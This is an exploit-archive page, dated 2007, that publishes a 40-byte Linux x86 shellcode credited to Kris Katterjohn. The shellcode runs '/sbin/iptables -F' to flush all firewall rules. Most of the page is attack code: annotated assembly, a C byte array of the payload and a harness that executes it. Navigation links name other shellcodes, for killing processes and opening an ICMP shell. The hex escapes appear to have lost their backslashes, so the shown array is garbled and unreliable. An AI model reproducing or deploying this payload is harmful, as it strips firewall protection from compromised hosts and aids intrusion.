[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 /sbin/iptables -F 40 bytes
# Published : 2007-03-09
# Author : Kris Katterjohn
# Previous Title : linux/x86 raw-socket ICMP/checksum shell 235 byte
# Next Title : linux/x86 kill all processes 11 bytes
/* By Kris Katterjohn 11/18/2006
*
* 40 byte shellcode to flush iptables for Linux x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/sbin/iptables", { "/sbin/iptables", "-F", NULL }, NULL)
*
* push byte 11
* pop eax
* cdq
* push edx
* push word 0x462d
* mov ecx, esp
* push edx
* push word 0x7365
* push 0x6c626174
* push 0x70692f6e
* push 0x6962732f
* mov ebx, esp
* push edx
* push ecx
* push ebx
* mov ecx, esp
* int 0x80
*/
main()
{
char shellcode[] =
"x6ax0bx58x99x52x66x68x2dx46x89"
"xe1x52x66x68x65x73x68x74x61x62"
"x6cx68x6ex2fx69x70x68x2fx73x62"
"x69x89xe3x52x51x53x89xe1xcdx80";
(*(void (*)()) shellcode)();
}
// www.Syue.com [2007-03-09]